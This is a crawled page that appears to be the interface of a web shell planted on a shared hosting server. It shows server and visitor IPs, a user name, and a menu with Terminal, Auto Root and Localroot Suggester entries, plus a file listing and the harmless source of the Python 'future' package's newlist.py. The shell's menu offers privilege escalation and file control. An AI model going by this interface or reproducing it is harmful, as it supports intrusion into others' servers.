Linux evo.fastest-server.com 5.14.0-284.1101.el9.tuxcare.11.els11.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 14 13:30:35 UTC 2026 x86_64
LiteSpeed
Server IP : 103.249.112.113 & Your IP : 216.73.217.135
Domains : 988 Domain
User : tanishks
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.9 /
site-packages /
future /
types /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-09-04 11:38
__init__.py
6.67
KB
-rw-r--r--
2023-01-13 03:16
newbytes.py
15.92
KB
-rw-r--r--
2023-01-13 03:16
newdict.py
1.96
KB
-rw-r--r--
2023-01-13 03:16
newint.py
13.04
KB
-rw-r--r--
2023-01-13 03:16
newlist.py
2.23
KB
-rw-r--r--
2023-01-13 03:16
newmemoryview.py
712
B
-rw-r--r--
2023-01-13 03:16
newobject.py
3.28
KB
-rw-r--r--
2023-01-13 03:16
newopen.py
810
B
-rw-r--r--
2023-01-13 03:16
newrange.py
5.17
KB
-rw-r--r--
2023-01-13 03:16
newstr.py
15.39
KB
-rw-r--r--
2023-01-13 03:16
Save
Rename
""" A list subclass for Python 2 that behaves like Python 3's list. The primary difference is that lists have a .copy() method in Py3. Example use: >>> from builtins import list >>> l1 = list() # instead of {} for an empty list >>> l1.append('hello') >>> l2 = l1.copy() """ import sys import copy from future.utils import with_metaclass from future.types.newobject import newobject _builtin_list = list ver = sys.version_info[:2] class BaseNewList(type): def __instancecheck__(cls, instance): if cls == newlist: return isinstance(instance, _builtin_list) else: return issubclass(instance.__class__, cls) class newlist(with_metaclass(BaseNewList, _builtin_list)): """ A backport of the Python 3 list object to Py2 """ def copy(self): """ L.copy() -> list -- a shallow copy of L """ return copy.copy(self) def clear(self): """L.clear() -> None -- remove all items from L""" for i in range(len(self)): self.pop() def __new__(cls, *args, **kwargs): """ list() -> new empty list list(iterable) -> new list initialized from iterable's items """ if len(args) == 0: return super(newlist, cls).__new__(cls) elif type(args[0]) == newlist: value = args[0] else: value = args[0] return super(newlist, cls).__new__(cls, value) def __add__(self, value): return newlist(super(newlist, self).__add__(value)) def __radd__(self, left): " left + self " try: return newlist(left) + self except: return NotImplemented def __getitem__(self, y): """ x.__getitem__(y) <==> x[y] Warning: a bug in Python 2.x prevents indexing via a slice from returning a newlist object. """ if isinstance(y, slice): return newlist(super(newlist, self).__getitem__(y)) else: return super(newlist, self).__getitem__(y) def __native__(self): """ Hook for the future.utils.native() function """ return list(self) def __nonzero__(self): return len(self) > 0 __all__ = ['newlist']